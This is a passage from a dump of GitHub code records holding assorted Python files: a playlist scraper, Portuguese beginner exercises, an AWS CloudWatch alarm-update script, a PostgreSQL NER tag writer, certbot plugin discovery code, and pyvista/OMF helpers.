and sun 12-5\n# its helpful that none croses midnight\ntimeslots = [(datetime(2017, 4, 7, 19, 0), datetime(2017, 4, 7, 23, 0)),\n (datetime(2017, 4, 8, 10, 0), datetime(2017, 4, 8, 17, 0)),\n (datetime(2017, 4, 9, 12, 0), datetime(2017, 4, 9, 17, 53))]\n\n# playlists per day live at /playlists/xpn-playlist\n# Not all rows are tracks, some are membership callouts\n# but real tracks start with times and are formatted\n# HH:MM [am|pm] Artist - Title\n# Special programs like World Cafe, Echos, ...\n# also start with time, but don't have useful track info\n# but those list the program inside bars\n# eg |World Cafe| - \"Wednesday 11-2-2016 Hour 2, Part 7\"\n\ntoday = date.today()\ndate_regex = re.compile(\"^\\d{2}:\\d{2}\\s\")\n\nleftovers = pd.DataFrame(None, columns = ('Title', 'Artist', 'AirTime'))\n\nfor slot in timeslots:\n d = slot[0].date()\n if d <= today:\n page = requests.post('http://xpn.org/playlists/xpn-playlist',\n data={'playlistdate': \"%02d-%02d-%04d\" % (d.month,\n d.day,\n d.year)})\n tree = html.fromstring(page.content)\n tracks = tree.xpath('//h3/a/text()')\n for track in tracks:\n if date_regex.match(track) and track[9:10] != '|':\n (artist, title) = track[9:].split(' - ', 1)\n hour = int(track[0:2]) % 12\n minute = int(track[3:5])\n if track[6:8] == 'pm': hour += 12\n air_time = datetime(d.year, d.month, d.day,\n hour, minute)\n if slot[0] <= air_time < slot[1]:\n leftovers = leftovers.append({'Title': title,\n 'Artist': artist,\n 'AirTime': air_time},\n ignore_index=True)\n\nleftovers = leftovers.sort_values(by = ('AirTime'))\nleftovers.to_csv(playlist_cache , index=False)\n","repo_name":"asudell/a2z","sub_path":"load_leftovers.py","file_name":"load_leftovers.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"19825001905","text":"\"\"\"\nFaça um programa que leia 4 valores numéricos e guarde-os numa lista.\nNo final, mostre qual foi o maior e o menor valor digitado e as suas respectivas posições na lista.\n\"\"\"\nvalores = []\nposicao_maior = []\nposicao_menor = []\nmaior = menor = 0\n\nfor i in range(0, 5):\n valores.append(int(input(f'Digite o {i + 1}º valor: ')))\n if i == 0:\n maior = menor = valores[i]\n else:\n if valores[i] > maior:\n maior = valores[i]\n if valores[i] < menor:\n menor = valores[i]\n\nfor i in range(0, 5):\n if maior == valores[i]:\n posicao_maior.append(i) # Lista que guarda as posições do maior valor\n if menor == valores[i]:\n posicao_menor.append(i) # Lista que guarda as posições do menor valor\n\nprint(f'Você digitou os valores: {valores}')\nprint(f'O \\033[1;34mMAIOR\\033[m valor digitado é {maior} nas posições ', end='')\nfor valor in posicao_maior:\n print(f'{valor}... ', end='')\nprint(f'\\nO \\033[1;32mMENOR\\033[m valor digitado é {menor} nas posições ', end='')\nfor valor in posicao_menor:\n print(f'{valor}... ', end='')\n","repo_name":"oliveirajonathas/python_estudos","sub_path":"pacote-download/pythonProject/exercicios_python_guanabara/ex078.py","file_name":"ex078.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"29495635202","text":"class Employee:\n no_of_leaves = 8\n \n def __init__(self, aname , asalary , arole):\n self.name = aname\n self.salary = asalary\n self.role = arole\n\n def printdetails(self):\n return f\" Name is {self.name}.\\n Salary is {self.salary}. \\n role is {self.role}. \"\n\n @classmethod\n def change_leaves(cls , newleaves):\n cls.no_of_leaves = newleaves\n \ndark = Employee(\"dark\", 120000 , \"owner\")\nweb = Employee(\"web\", 90000 , \"ceo\")\n\ndark.change_leaves(34)\n\nprint(dark.no_of_leaves)\n","repo_name":"princu09/python","sub_path":"opps4.py","file_name":"opps4.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"30733317573","text":"# #1 - Faça um programa que leia o sexo biológico de uma pessoa, mas só aceite os valores ‘M’ ou ‘F’.\n# Caso esteja errado, peça a digitação novamente até ter um valor correto.\nsexo = str(input('Informe seu sexo [M/F]: ')).strip().upper()[0]\nwhile sexo not in 'MmfF':\n sexo = str(input('Dados inválidos. Por favor, informe seu sexo: ')).strip().upper()\nprint(f'Sexo registrado com sucesso {sexo}') \n\n \n\n\n\n\n# 2 - Escreva um programa que pede a senha uma senha ao usuário, e só sai do loop quando digitarem\n# corretamente a senha. A senha é “Blue123”\n# 2b - Exiba quantas vezes o usuário errou a digitação.\nsenha = 'Blue123'\nentrada = \" \"\ncont = 0\nwhile senha != entrada:\n entrada = input('informe a senha correta')\n cont+=1\n if entrada == senha:\n print('acesso liberado')\nprint(f'O numero de tentativas incorretas foi {cont}')\n\n# 3 - Crie um programa que leia a idade e o sexo de várias pessoas. A cada pessoa\n# cadastrada, o programa deverá perguntar se o usuário quer ou não continuar. No\n# final, mostre:\n# A) Quantas pessoas tem mais de 18 anos.\n# B) Quantos homens foram cadastrados.\n# C) Quantas mulheres tem menos de 20 anos.\n\nidade18 = 0\nhomens = 0\nmulher20 = 0\ntotcadastrados = 0\nwhile True:\n idade = int(input('informe a idade: '))\n sexo = ' '\n while sexo not in 'MF':\n sexo = str(input('informe o sexo: [M/F] ')).upper()\n if idade >= 18:\n idade18 += 1\n if sexo == 'F' and idade < 20:\n mulher20 += 1\n if sexo == 'M':\n homens += 1\n r = ' '\n while r not in 'SN':\n r = str(input('Quer continuar? [S/N] ')).upper()\n if r == 'N':\n break\ntotcadastrados = homens + mulher20 + idade18\nprint(f'O total de cadastros foi {totcadastrados} ')\nprint(f'O total de cadastrados com mais de 18 anos foi {idade18}')\nprint(f'O total de homens cadstrados foi {homens}')\nprint(f'O total de mulheres cadastradas com menos de 20 anos foi {mulher20}')\nprint('Fim')\n\n\n\n# DESAFIO:\n# 4 - Crie um jogo onde o computador vai “pensar” em um número entre 0 e 10. O jogador vai tentar\n# adivinhar qual número foi escolhido até acertar, mostrando no final quantos palpites foram\n# necessários para vencer.\nfrom random import randint\nn = int(input('Digite um número de 0 a 10: '))\ncomp = randint(0, 10)\nwhile n != comp:\n print('ERROOOOU. Tente novamente.')\n n = int(input('Digite um número de 0 a 10: '))\nif n == comp:\n print(f'VOCÊ ACERTOOOOU. O computador pensou em {comp}')","repo_name":"ELWalto/modulo1-Blue","sub_path":"aula05/Exercicios_aula05.py","file_name":"Exercicios_aula05.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"36196712953","text":"from services.cluster.k8s.model.base_model import BaseModel\nfrom services.cluster.k8s.model.v1_beta1_network_spec import V1Beta1NetworkSpec\nfrom services.cluster.k8s.model.v1_object_meta import V1ObjectMeta\nfrom services.cluster.k8s.const.crd_kubeflow_const import HUAWEICLOUD_NETWORK_APIVERSION, HUAWEICLOUD_NETWORK_KIND\n\n\nclass V1Beta1Network(BaseModel):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator.\n Ref: https://openapi-generator.tech\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n spec = V1Beta1NetworkSpec\n\n openapi_types = {\n 'api_version': 'str',\n 'kind': 'str',\n 'metadata': 'V1ObjectMeta',\n 'spec': 'V1NetworkSpec',\n # 'status': 'V1IngressStatus'\n }\n\n attribute_map = {\n 'api_version': 'apiVersion',\n 'kind': 'kind',\n 'metadata': 'metadata',\n 'spec': 'spec',\n 'status': 'status'\n }\n\n @classmethod\n def default(cls, name: str, namespace: str):\n return cls.new(api_version=HUAWEICLOUD_NETWORK_APIVERSION,\n kind=HUAWEICLOUD_NETWORK_KIND,\n metadata=V1ObjectMeta.huaweicloud_network(name=name, namespace=namespace),\n spec=V1Beta1NetworkSpec.default())\n\n @staticmethod\n def new(api_version: str, kind: str, metadata: V1ObjectMeta, spec: V1Beta1NetworkSpec):\n return V1Beta1Network(api_version=api_version, kind=kind, metadata=metadata, spec=spec)\n\n\nif __name__ == '__main__':\n d = V1Beta1Network.default(name=\"test\", namespace=\"test-ns\").dict()\n import pprint\n pprint.pprint(d)","repo_name":"ClaytonWang/huanghe","sub_path":"source/services/cluster/k8s/model/v1_beta1_network.py","file_name":"v1_beta1_network.py","file_ext":"py","file_size_in_byte":1859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"37216483963","text":"from ImageAnalysis import ImageAnalysis\n\nif __name__ == \"__main__\":\n\n \n img_analyzer = ImageAnalysis(bucket_name = \"photo-bucket_polished-studio-402920\")\n bucket_path = 'imgs_for_tagging/'\n file_name = 'img_tags.xml'\n\n img_analyzer.bulk_analyze_images_to_XML(bucket_path, file_name)\n\n # # analyze a single image in google cloud storage: \n # img_analyzer = ImageAnalysis(bucket_name = \"photo-bucket_polished-studio-402920\")\n # image_blob_name = 'imgs_for_tagging/IMG_4873.jpg'\n # labels = img_analyzer.analyze_image(image_blob_name)\n\n # print(image_blob_name)\n\n # if labels:\n # for label in labels:\n # print(label)\n # else: \n # print(\"No labels detected\")\n\n # print()\n\n # analyze directory of images in google cloud storage to console:\n # img_analyzer = ImageAnalysis(bucket_name = \"photo-bucket_polished-studio-402920\")\n\n # bucket_path = 'imgs_for_tagging/'\n\n # img_analyzer.bulk_analyze_images_to_console(bucket_path)\n \n","repo_name":"robwatsongtr/google-cloud-vision","sub_path":"run_ImageAnalysis.py","file_name":"run_ImageAnalysis.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"2165993697","text":"#!/usr/bin/env python3\n\"\"\"Update all existing memory and CPU alarms to be sent to the unmanaged topic\"\"\"\n# Find all CPU/Memory Alarms\n# Update actions to unmanaged\nimport argparse\nimport functools\nimport logging\nimport os\nimport sys\nfrom multiprocessing.dummy import Pool, current_process\n\nimport boto3\n\nFORMAT = '%(asctime)-15s %(levelname)s %(module)s.%(funcName)s %(message)s'\nDATEFMT = \"%Y-%m-%d %H:%M:%S\"\nlogging.basicConfig(level=logging.INFO, format=FORMAT, datefmt=DATEFMT)\nos.environ['AWS_DEFAULT_REGION'] = 'us-east-1'\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--region', default='us-west-2')\n parser.add_argument('--dry-run', action='store_true')\n return vars(parser.parse_args())\n\n\ndef boto3_client(resource, region):\n return boto3.client(resource, region)\n\n\ndef munge_alarm_actions(alarm, old_action, new_action):\n \"\"\"Update alarm action which has old action and replace with new_action.\"\"\"\n changed_actions = False\n for key in ('OKActions', 'AlarmActions', 'InsufficientDataActions'):\n new_actions = replace_actions(\n alarm.get(key, []), old_action, new_action\n )\n if new_actions != alarm[key]:\n alarm[key] = new_actions\n changed_actions = True\n return alarm, changed_actions\n\n\ndef update_cw_alarm_actions(client, old_action, new_action, alarm):\n new_alarm, changed_actions = munge_alarm_actions(\n alarm, old_action, new_action\n )\n if changed_actions:\n logging.debug('Alarm: %s', new_alarm)\n update_alarm(client, cleanup_alarm(client, new_alarm))\n logging.info('Updated Actions for %s', alarm['AlarmName'])\n\n\ndef update_alarm(client, alarm):\n \"\"\"Update alarm.\"\"\"\n return client.put_metric_alarm(**alarm)\n\n\ndef operation_model_kwargs(client, model_name):\n \"\"\"Return the arguments we can provide to a boto3 function for the specified client.\"\"\"\n return client._service_model.operation_model(\n model_name\n ).input_shape.members.keys()\n\n\ndef method_to_operation_model(client, method):\n \"\"\"Return the Operation Model for given client and method.\"\"\"\n return client._PY_TO_OP_NAME[method]\n\n\ndef cleanup_alarm(client, alarm, func_name='put_metric_alarm'):\n \"\"\"Remove invalid arguments from specified alarm.\"\"\"\n return {\n key: alarm[key]\n for key in operation_model_kwargs(\n client, method_to_operation_model(client, func_name)\n )\n if key in alarm\n }\n\n\ndef replace_actions(actions, old_action, new_action):\n return list({new_action if old_action else action for action in actions})\n\n\ndef get_all_alarms(client):\n \"\"\"Gets all alarms in a region.\"\"\"\n for page in client.get_paginator('describe_alarms').paginate():\n for metric_alarm in page['MetricAlarms']:\n yield metric_alarm\n\n\ndef allowed_metric_names():\n return ('CPUUtilization', 'MemoryUtilization')\n\n\ndef get_specific_metric_alarms(alarms, metricnames):\n for alarm in alarms:\n if alarm['MetricName'] in metricnames:\n yield alarm\n\n\n@functools.lru_cache\ndef list_topics(client):\n return [\n topic\n for page in client.get_paginator('list_topics').paginate()\n for topic in page['Topics']\n ]\n\n\ndef sns_topic_arn_from_name(client, topic_name):\n for topic in list_topics(client):\n if topic_name in topic['TopicArn']:\n logging.info('Found %s for %s', topic['TopicArn'], topic_name)\n return topic['TopicArn']\n\n\ndef alarm_has_action_topic(topic_arn, alarm):\n results = []\n for key in ('OKActions', 'AlarmActions', 'InsufficientDataActions'):\n resp = False\n if topic_arn in alarm[key]:\n resp = True\n results.append(resp)\n return any(results)\n # any(\n # [\n # True if topic_arn in alarm[key] else False\n # for key in ('OKActions', 'AlarmActions', 'InsufficientDataActions')\n # ]\n # )\n\n\ndef main(args=parse_args()):\n # import code;code.interact(local={**globals(), **locals()})\n client = boto3_client('cloudwatch', args['region'])\n sns = boto3_client('sns', args['region'])\n update_cw_alarm_actions_high_to_unmanaged = functools.partial(\n update_cw_alarm_actions,\n client,\n sns_topic_arn_from_name(sns, 'edwards-pagerduty-high-topic'),\n sns_topic_arn_from_name(sns, 'Edwards-Unmanaged-Notifications'),\n )\n\n # Alarms which are for CPUUtlization or MemoryUtilization.\n alarm_has_low_topic = functools.partial(\n alarm_has_action_topic,\n sns_topic_arn_from_name(sns, 'edwards-pagerduty-low-topic'),\n )\n alarms = filter(\n alarm_has_low_topic,\n get_specific_metric_alarms(\n get_all_alarms(client), allowed_metric_names()\n ),\n )\n\n # import code;code.interact(local={**globals(), **locals()})\n # alarms = [a for a in alarms]\n if args['dry_run']:\n for alarm in alarms:\n print(alarm['AlarmName'])\n else:\n for alarm in alarms:\n update_cw_alarm_actions_high_to_unmanaged(alarm)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"papertux/AWS_Scripts","sub_path":"Python/cw/cw-alarm-update-cpu-memory-unmanaged.py","file_name":"cw-alarm-update-cpu-memory-unmanaged.py","file_ext":"py","file_size_in_byte":5126,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"25848094648","text":"import psycopg2\n\n# for performance reasons\nattr_to_pg_id = {\n \"CVE\": 1,\n \"CWE\": 2,\n \"SOFTWARE\": 3,\n \"MALWARE\": 4,\n \"COURSE_OF_ACTION\": 5,\n \"INTRUSION_SET\": 6,\n \"THREAT_ACTOR\": 7,\n \"TOOL\": 8,\n \"ATTACK_PATTERN\": 9,\n \"INDUSTRY\": 10,\n \"MITRE_ATTACK\": 11,\n \"CAMPAIGN\": 12,\n \"ORG\": 13,\n \"COUNTRY\": 14,\n \"CITY\": 15,\n \"GEOLOCATION\": 16,\n \"TIMESTAMP\": 17,\n \"IOC\": 18,\n \"TECHNIQUE\": 19\n}\n\ndef _prepare_words(doc_id, ner_outputs):\n res = []\n for ner_output in ner_outputs:\n word, label = ner_output\n res.append((word, 2, doc_id))\n return res\n\n\ndef _prepare_tags(doc_id, ner_outputs, word_ids):\n grouped_label = dict()\n for i in range(len(ner_outputs)):\n word, label = ner_outputs[i]\n word_id = word_ids[i]\n if label == 'O':\n continue\n label = label[2:]\n if label not in attr_to_pg_id:\n continue\n if label not in grouped_label:\n grouped_label[label] = []\n grouped_label[label].append(word_id)\n ret = []\n for label, word_ids_list in grouped_label.items():\n ret.append((word_ids_list, attr_to_pg_id[label], 1, doc_id))\n return ret\n\n\nclass PostgreSqlDatabase:\n\n def __init__(self, config):\n self.connection_string = config[\"database_url\"]\n self.connection = self.get_connection()\n\n def get_connection(self):\n pg_conn = psycopg2.connect(self.connection_string)\n pg_conn.autocommit = False\n return pg_conn\n\n def close(self):\n self.connection.close()\n\n def insert_first_row(self, row):\n pg_cursor = self.connection.cursor()\n pg_cursor.execute(\"\"\"\n INSERT INTO document_ocr(ocr_text, status, document_id, is_active, created_at)\n VALUES (%s,%s,%s, True, now()) RETURNING id;\"\"\",\n row\n )\n id = pg_cursor.fetchone()\n id = id[0]\n self.connection.commit()\n pg_cursor.close()\n return id\n\n def write_words(self, doc_id, ner_outputs):\n word_rows = _prepare_words(doc_id, ner_outputs)\n if len(word_rows) == 0:\n return []\n next_id = self.insert_first_row(word_rows[0])\n pg_cursor = self.connection.cursor()\n\n pg_cursor.executemany(\"\"\"\n INSERT INTO document_ocr(ocr_text, status, document_id, is_active, created_at)\n VALUES (%s,%s,%s, True, now())\"\"\",\n word_rows[1:]\n )\n #pg_cursor.executemany(\"\"\"\n # INSERT INTO document_ocr(ocr_text, status, document_id, is_active, created_at)\n # VALUES (%s,%s,%s, True, now())\n # RETURNING id\"\"\",\n # word_rows\n # )\n #returned_ids = pg_cursor.fetchall()\n\n ids = [next_id + i for i in range(len(ner_outputs))]\n self.connection.commit()\n pg_cursor.close()\n return ids\n\n def write_tags(self, doc_id, ner_outputs, word_ids):\n tag_rows = _prepare_tags(doc_id, ner_outputs, word_ids)\n if len(tag_rows) == 0:\n return\n pg_cursor = self.connection.cursor()\n pg_cursor.executemany(\"\"\"\n INSERT INTO document_nlp(ocr_word_ids, attribute_id, status, document_id, is_active, created_at)\n VALUES (%s, %s, %s, %s, True, now())\"\"\",\n tag_rows\n )\n self.connection.commit()\n pg_cursor.close()\n\n\nif __name__ == '__main__':\n from config import ConfigProcessor\n config_processor = ConfigProcessor('./config/dev.json')\n cfg = config_processor.get_configs()\n print(cfg)\n pgdb = PostgreSqlDatabase(cfg)\n doc_id = 2\n ner_outputs = [('Puppeteer', 'B-MALWARE'), ('library', 'I-MALWARE'),\n ('for', 'O'), ('further', 'O'), ('attacks', 'O'), ('in', 'O'), ('other', 'O'), ('major', 'O'), ('financial', 'O'), ('institutions', 'O')]\n word_ids = pgdb.write_words(doc_id, ner_outputs)\n print(word_ids)\n pgdb.write_tags(doc_id, ner_outputs, word_ids)","repo_name":"duplyakin/R-Vision","sub_path":"devlabs-rvision-hack-ner-service/rvision-hack-main/src/pgdb.py","file_name":"pgdb.py","file_ext":"py","file_size_in_byte":4040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"23388001052","text":"\"\"\"Utilities for plugins discovery and selection.\"\"\"\nimport collections\nimport itertools\nimport logging\n\nimport pkg_resources\nimport six\nimport zope.interface\nimport zope.interface.verify\n\nfrom acme.magic_typing import Dict\nfrom certbot import errors\nfrom certbot import interfaces\nfrom certbot._internal import constants\n\ntry:\n # Python 3.3+\n from collections.abc import Mapping\nexcept ImportError: # pragma: no cover\n from collections import Mapping\n\nlogger = logging.getLogger(__name__)\n\n\nclass PluginEntryPoint(object):\n \"\"\"Plugin entry point.\"\"\"\n\n PREFIX_FREE_DISTRIBUTIONS = [\n \"certbot\",\n \"certbot-apache\",\n \"certbot-dns-cloudflare\",\n \"certbot-dns-cloudxns\",\n \"certbot-dns-digitalocean\",\n \"certbot-dns-dnsimple\",\n \"certbot-dns-dnsmadeeasy\",\n \"certbot-dns-gehirn\",\n \"certbot-dns-google\",\n \"certbot-dns-linode\",\n \"certbot-dns-luadns\",\n \"certbot-dns-nsone\",\n \"certbot-dns-ovh\",\n \"certbot-dns-rfc2136\",\n \"certbot-dns-route53\",\n \"certbot-dns-sakuracloud\",\n \"certbot-nginx\",\n ]\n \"\"\"Distributions for which prefix will be omitted.\"\"\"\n\n # this object is mutable, don't allow it to be hashed!\n __hash__ = None # type: ignore\n\n def __init__(self, entry_point):\n self.name = self.entry_point_to_plugin_name(entry_point)\n self.plugin_cls = entry_point.load()\n self.entry_point = entry_point\n self._initialized = None\n self._prepared = None\n\n @classmethod\n def entry_point_to_plugin_name(cls, entry_point):\n \"\"\"Unique plugin name for an ``entry_point``\"\"\"\n if entry_point.dist.key in cls.PREFIX_FREE_DISTRIBUTIONS:\n return entry_point.name\n return entry_point.dist.key + \":\" + entry_point.name\n\n @property\n def description(self):\n \"\"\"Description of the plugin.\"\"\"\n return self.plugin_cls.description\n\n @property\n def description_with_name(self):\n \"\"\"Description with name. Handy for UI.\"\"\"\n return \"{0} ({1})\".format(self.description, self.name)\n\n @property\n def long_description(self):\n \"\"\"Long description of the plugin.\"\"\"\n try:\n return self.plugin_cls.long_description\n except AttributeError:\n return self.description\n\n @property\n def hidden(self):\n \"\"\"Should this plugin be hidden from UI?\"\"\"\n return getattr(self.plugin_cls, \"hidden\", False)\n\n def ifaces(self, *ifaces_groups):\n \"\"\"Does plugin implements specified interface groups?\"\"\"\n return not ifaces_groups or any(\n all(iface.implementedBy(self.plugin_cls)\n for iface in ifaces)\n for ifaces in ifaces_groups)\n\n @property\n def initialized(self):\n \"\"\"Has the plugin been initialized already?\"\"\"\n return self._initialized is not None\n\n def init(self, config=None):\n \"\"\"Memoized plugin initialization.\"\"\"\n if not self.initialized:\n self.entry_point.require() # fetch extras!\n self._initialized = self.plugin_cls(config, self.name)\n return self._initialized\n\n def verify(self, ifaces):\n \"\"\"Verify that the plugin conforms to the specified interfaces.\"\"\"\n assert self.initialized\n for iface in ifaces: # zope.interface.providedBy(plugin)\n try:\n zope.interface.verify.verifyObject(iface, self.init())\n except zope.interface.exceptions.BrokenImplementation as error:\n if iface.implementedBy(self.plugin_cls):\n logger.debug(\n \"%s implements %s but object does not verify: %s\",\n self.plugin_cls, iface.__name__, error, exc_info=True)\n return False\n return True\n\n @property\n def prepared(self):\n \"\"\"Has the plugin been prepared already?\"\"\"\n if not self.initialized:\n logger.debug(\".prepared called on uninitialized %r\", self)\n return self._prepared is not None\n\n def prepare(self):\n \"\"\"Memoized plugin preparation.\"\"\"\n assert self.initialized\n if self._prepared is None:\n try:\n self._initialized.prepare()\n except errors.MisconfigurationError as error:\n logger.debug(\"Misconfigured %r: %s\", self, error, exc_info=True)\n self._prepared = error\n except errors.NoInstallationError as error:\n logger.debug(\n \"No installation (%r): %s\", self, error, exc_info=True)\n self._prepared = error\n except errors.PluginError as error:\n logger.debug(\"Other error:(%r): %s\", self, error, exc_info=True)\n self._prepared = error\n else:\n self._prepared = True\n return self._prepared\n\n @property\n def misconfigured(self):\n \"\"\"Is plugin misconfigured?\"\"\"\n return isinstance(self._prepared, errors.MisconfigurationError)\n\n @property\n def problem(self):\n \"\"\"Return the Exception raised during plugin setup, or None if all is well\"\"\"\n if isinstance(self._prepared, Exception):\n return self._prepared\n return None\n\n @property\n def available(self):\n \"\"\"Is plugin available, i.e. prepared or misconfigured?\"\"\"\n return self._prepared is True or self.misconfigured\n\n def __repr__(self):\n return \"PluginEntryPoint#{0}\".format(self.name)\n\n def __str__(self):\n lines = [\n \"* {0}\".format(self.name),\n \"Description: {0}\".format(self.plugin_cls.description),\n \"Interfaces: {0}\".format(\", \".join(\n iface.__name__ for iface in zope.interface.implementedBy(\n self.plugin_cls))),\n \"Entry point: {0}\".format(self.entry_point),\n ]\n\n if self.initialized:\n lines.append(\"Initialized: {0}\".format(self.init()))\n if self.prepared:\n lines.append(\"Prep: {0}\".format(self.prepare()))\n\n return \"\\n\".join(lines)\n\n\nclass PluginsRegistry(Mapping):\n \"\"\"Plugins registry.\"\"\"\n\n def __init__(self, plugins):\n # plugins are sorted so the same order is used between runs.\n # This prevents deadlock caused by plugins acquiring a lock\n # and ensures at least one concurrent Certbot instance will run\n # successfully.\n\n # Pylint checks for super init, but also claims the super\n # has no __init__member\n self._plugins = collections.OrderedDict(sorted(six.iteritems(plugins)))\n\n @classmethod\n def find_all(cls):\n \"\"\"Find plugins using setuptools entry points.\"\"\"\n plugins = {} # type: Dict[str, PluginEntryPoint]\n entry_points = itertools.chain(\n pkg_resources.iter_entry_points(\n constants.SETUPTOOLS_PLUGINS_ENTRY_POINT),\n pkg_resources.iter_entry_points(\n constants.OLD_SETUPTOOLS_PLUGINS_ENTRY_POINT),)\n for entry_point in entry_points:\n plugin_ep = PluginEntryPoint(entry_point)\n assert plugin_ep.name not in plugins, (\n \"PREFIX_FREE_DISTRIBUTIONS messed up\")\n if interfaces.IPluginFactory.providedBy(plugin_ep.plugin_cls):\n plugins[plugin_ep.name] = plugin_ep\n else: # pragma: no cover\n logger.warning(\n \"%r does not provide IPluginFactory, skipping\", plugin_ep)\n return cls(plugins)\n\n def __getitem__(self, name):\n return self._plugins[name]\n\n def __iter__(self):\n return iter(self._plugins)\n\n def __len__(self):\n return len(self._plugins)\n\n def init(self, config):\n \"\"\"Initialize all plugins in the registry.\"\"\"\n return [plugin_ep.init(config) for plugin_ep\n in six.itervalues(self._plugins)]\n\n def filter(self, pred):\n \"\"\"Filter plugins based on predicate.\"\"\"\n return type(self)(dict((name, plugin_ep) for name, plugin_ep\n in six.iteritems(self._plugins) if pred(plugin_ep)))\n\n def visible(self):\n \"\"\"Filter plugins based on visibility.\"\"\"\n return self.filter(lambda plugin_ep: not plugin_ep.hidden)\n\n def ifaces(self, *ifaces_groups):\n \"\"\"Filter plugins based on interfaces.\"\"\"\n return self.filter(lambda p_ep: p_ep.ifaces(*ifaces_groups))\n\n def verify(self, ifaces):\n \"\"\"Filter plugins based on verification.\"\"\"\n return self.filter(lambda p_ep: p_ep.verify(ifaces))\n\n def prepare(self):\n \"\"\"Prepare all plugins in the registry.\"\"\"\n return [plugin_ep.prepare() for plugin_ep in six.itervalues(self._plugins)]\n\n def available(self):\n \"\"\"Filter plugins based on availability.\"\"\"\n return self.filter(lambda p_ep: p_ep.available)\n # successfully prepared + misconfigured\n\n def find_init(self, plugin):\n \"\"\"Find an initialized plugin.\n\n This is particularly useful for finding a name for the plugin\n (although `.IPluginFactory.__call__` takes ``name`` as one of\n the arguments, ``IPlugin.name`` is not part of the interface)::\n\n # plugin is an instance providing IPlugin, initialized\n # somewhere else in the code\n plugin_registry.find_init(plugin).name\n\n Returns ``None`` if ``plugin`` is not found in the registry.\n\n \"\"\"\n # use list instead of set because PluginEntryPoint is not hashable\n candidates = [plugin_ep for plugin_ep in six.itervalues(self._plugins)\n if plugin_ep.initialized and plugin_ep.init() is plugin]\n assert len(candidates) <= 1\n if candidates:\n return candidates[0]\n return None\n\n def __repr__(self):\n return \"{0}({1})\".format(\n self.__class__.__name__, ','.join(\n repr(p_ep) for p_ep in six.itervalues(self._plugins)))\n\n def __str__(self):\n if not self._plugins:\n return \"No plugins\"\n return \"\\n\\n\".join(str(p_ep) for p_ep in six.itervalues(self._plugins))\n","repo_name":"norbusan/certbot-debian","sub_path":"certbot/_internal/plugins/disco.py","file_name":"disco.py","file_ext":"py","file_size_in_byte":10144,"program_lang":"python","lang":"en","doc_type":"code","stars":158,"dataset":"github-code","pt":"22"} +{"seq_id":"4572839007","text":"import pandas as pd \nfrom pathlib import Path\n\nHERE = Path(__file__).parent.resolve()\n\ndf = pd.read_csv(HERE.parent.joinpath(\"data/wikidata_GO_terms.tsv\"), sep=\"\\t\")\n\ndf = df[[\"sitelink\", \"itemLabel\", \"gene_symbol\"]]\n\ndf = df.drop_duplicates()\n\nfull_gmt = \"\"\nfor i in df.groupby(\"itemLabel\"):\n itemLabel = i[0]\n sitelink = i[1][\"sitelink\"].values[0]\n genes = i[1][\"gene_symbol\"].values\n full_gmt += f\"\"\"{itemLabel}\t{sitelink}\t{\"\t\".join(genes)}\n\"\"\"\n\nHERE.parent.joinpath(\"datasets/wikigoa_gene_symbol.gmt\").write_text(full_gmt)","repo_name":"luxeredias/WikiGOA","sub_path":"python/process_into_standard.py","file_name":"process_into_standard.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"14899245891","text":"__all__ = [\n 'check_orientation',\n 'check_orthogonal',\n 'add_data',\n 'add_textures',\n]\n\n\nimport numpy as np\nimport pyvista\nfrom PIL import Image\n\ntry:\n from pyvista import is_pyvista_obj as is_pyvista_dataset\nexcept ImportError:\n from pyvista import is_pyvista_dataset\n\n\ndef check_orientation(axis_u, axis_v, axis_w):\n \"\"\"This will check if the given ``axis_*`` vectors are the typical\n cartesian refernece frame (i.e. rectilinear).\n \"\"\"\n if ( np.allclose(axis_u, (1, 0, 0)) and\n np.allclose(axis_v, (0, 1, 0)) and\n np.allclose(axis_w, (0, 0, 1)) ):\n return True\n return False\n\n\ndef check_orthogonal(axis_u, axis_v, axis_w):\n \"\"\"Makes sure that the three input vectors are orthogonal\"\"\"\n if not (np.abs(axis_u.dot(axis_v) < 1e-6) and\n np.abs(axis_v.dot(axis_w) < 1e-6) and\n np.abs(axis_w.dot(axis_u) < 1e-6)):\n #raise ValueError('axis_u, axis_v, and axis_w must be orthogonal')\n return False\n return True\n\n\ndef add_data(output, data):\n \"\"\"Adds data arrays to an output VTK data object\"\"\"\n for d in data:\n output[d.name] = np.array(d.array.array)\n return output\n\n\ndef add_textures(output, textures, elname):\n \"\"\"Add textures to a pyvista data object\"\"\"\n if not is_pyvista_dataset(output):\n output = pyvista.wrap(output)\n\n for i, tex in enumerate(textures):\n # Now map the coordinates for the texture\n tmp = output.texture_map_to_plane(origin=tex.origin, point_u=tex.origin + tex.axis_u, point_v=tex.origin + tex.axis_v)\n # Grab the texture coordinates\n tcoord = tmp.GetPointData().GetTCoords()\n name = tex.name\n if name is None or name == '':\n name = '{}-texture-{}'.format(elname, i)\n tcoord.SetName(name)\n # Add these coordinates to the PointData of the output\n # NOTE: Let pyvista handle setting the TCoords because of how VTK cleans\n # up old TCoords\n 